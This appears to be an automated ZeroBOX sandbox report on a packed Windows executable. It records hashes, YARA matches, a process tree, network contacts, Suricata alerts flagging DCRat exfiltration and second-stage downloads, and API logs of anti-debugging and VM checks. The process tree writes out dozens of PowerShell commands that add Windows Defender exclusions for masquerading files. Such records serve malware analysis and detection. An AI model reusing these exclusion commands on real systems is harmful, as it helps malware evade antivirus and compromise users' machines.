Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 14, 2023, 10:33 a.m.	March 14, 2023, 10:42 a.m.

Size	2.3MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`ec50388a69792d133c1298e1dceb40a6`
SHA256	`bdc2f986320facc24627b6e31ae3ff0147583b04c262a386b2043557b59d06c0`
CRC32	`873CD7E7`
ssdeep	`49152:PuxU6VfbIhv2/g8nn7HoqW2m86bzBvwv+P9gB8xy2LmQKV:Wi6VzIA/gg7IR8iVgB8xybQKV`
Yara	Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) themida_packer - themida packer IsPE32 - (no description) PE_Header_Zero - PE File Signature

powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\Temp\85.exe'
2392
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\_Sandboxie\lsass.exe'
2452
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\security\logs\pw.exe'
2448
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\pw.exe'
2568
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\tmpvmqcut\lib\SearchIndexer.exe'
2644
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Mozilla Maintenance Service\logs\wininit.exe'
2700
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Python27\click\click_image\sdclt.exe'
2108
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Sandbox\test22\DefaultBox\drive\C\Windows\system32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\winlogon.exe'
2712
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\util\KMSAuto_Net_2015_v1.4.2\readme\taskhost.exe'
1896
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\tmp6o6lvv\modules\auxiliary\__pycache__\pw.exe'
2404
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\ab7d780a-0706-11e8-9512-b992fd7a33be\mobsync.exe'
652
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\GPKI\dwm.exe'
2940
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\util\TCPView\audiodg.exe'
748
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\util\TCPView\Idle.exe'
2736
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Logs\SystemRestore\explorer.exe'
2616
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Python27\tcl\tcl8.5\http1.0\pw.exe'
2472
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Sandbox\test22\DefaultBox\user\all\Microsoft\Windows\taskhost.exe'
2688
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\ab7d780a-0706-11e8-9512-b992fd7a33be\pw.exe'
1808
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\ab7d780a-0706-11e8-9512-b992fd7a33be\conhost.exe'
2892
powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\tmpvmqcut\modules\auxiliary\__pycache__\SearchIndexer.exe'
2552
cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\test22\AppData\Local\Temp\G8We10AKzS.bat"
1676
- w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
  2468
  - w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
    2360
- explorer.exe "C:\Windows\Logs\SystemRestore\explorer.exe"
  2720
  - h.exe "C:\Users\test22\AppData\Local\Temp\h.exe"
    2692
  - m.exe "C:\Users\test22\AppData\Local\Temp\m.exe"
    1504

Name	Response	Post-Analysis Lookup
apps.identrust.com	A 182.162.106.33 CNAME a1952.dscq.akamai.net A 182.162.106.32 CNAME identrust.edgesuite.net	23.43.165.105
ipinfo.io	A 34.117.59.81	34.117.59.81
api.telegram.org	A 149.154.167.220	149.154.167.220

IP Address	Status	Action
149.154.167.220	Active	Moloch
164.124.101.2	Active	Moloch
182.162.106.33	Active	Moloch
34.117.59.81	Active	Moloch
87.251.77.205	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 149.154.167.220:443 -> 192.168.56.103:49198	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49198 -> 149.154.167.220:443	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	Misc activity
TCP 192.168.56.103:49198 -> 149.154.167.220:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49198 -> 149.154.167.220:443	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	Misc activity
TCP 192.168.56.103:49196 -> 34.117.59.81:443	2025331	ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)	Device Retrieving External IP Address Detected
TCP 192.168.56.103:49196 -> 34.117.59.81:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49194 -> 87.251.77.205:80	2034194	ET MALWARE DCRAT Activity (GET)	A Network Trojan was detected
TCP 34.117.59.81:443 -> 192.168.56.103:49196	2025330	ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io)	Device Retrieving External IP Address Detected
UDP 192.168.56.103:64894 -> 164.124.101.2:53	2033966	ET HUNTING Telegram API Domain in DNS Lookup	Misc activity
TCP 192.168.56.103:49194 -> 87.251.77.205:80	2035367	ET HUNTING Observed Malicious Filename in Outbound POST Request (Information.txt)	A Network Trojan was detected
TCP 192.168.56.103:49194 -> 87.251.77.205:80	2033087	ET MALWARE Win32/DCRat CnC Exfil	A Network Trojan was detected
TCP 192.168.56.103:49194 -> 87.251.77.205:80	2035367	ET HUNTING Observed Malicious Filename in Outbound POST Request (Information.txt)	A Network Trojan was detected
TCP 87.251.77.205:80 -> 192.168.56.103:49194	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 87.251.77.205:80 -> 192.168.56.103:49194	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 87.251.77.205:80 -> 192.168.56.103:49194	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 87.251.77.205:80 -> 192.168.56.103:49194	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity
TCP 87.251.77.205:80 -> 192.168.56.103:49194	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 87.251.77.205:80 -> 192.168.56.103:49194	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49198 -> 149.154.167.220:443	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	Misc activity

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.103:49196 34.117.59.81:443	C=US, O=Let's Encrypt, CN=R3	CN=ipinfo.io	63:03:85:17:32:f2:5e:25:3f:4e:ca:14:a9:16:fe:4d:7c:c4:54:bf

Queries for the computername (50 out of 129 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 14, 2023, 10:34 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (24 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:34 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:35 a.m.			0	0
IsDebuggerPresent March 14, 2023, 10:35 a.m.			0	0

Command line console output was observed (50 out of 174 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Users\test22\AppData\Local\Temp\85. console_handle: 0x00000053	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: exe' console_handle: 0x0000005f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Program Files\_Sandboxie\lsass.exe' console_handle: 0x00000053	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Windows\security\logs\pw.exe' console_handle: 0x00000053	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Windows\Downloaded Program Files\pw console_handle: 0x00000053	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: .exe' console_handle: 0x0000005f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\tmpvmqcut\lib\SearchIndexer.exe' console_handle: 0x00000053	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath 'C:\Program Files (x86)\Mozilla Mainten console_handle: 0x00000053	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: ance Service\logs\wininit.exe' console_handle: 0x0000005f	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW March 14, 2023, 10:34 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 923 events)

Time & API	Arguments	Status	Return
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7d40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f7e80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8100 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8400 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f81c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006f8240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00408b58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00409258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00409258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 14, 2023, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00409258 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 14, 2023, 10:34 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section
section	.themida
section	.boot

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

TYPELIB

One or more processes crashed (50 out of 90 events)

Time & API	Arguments	Status
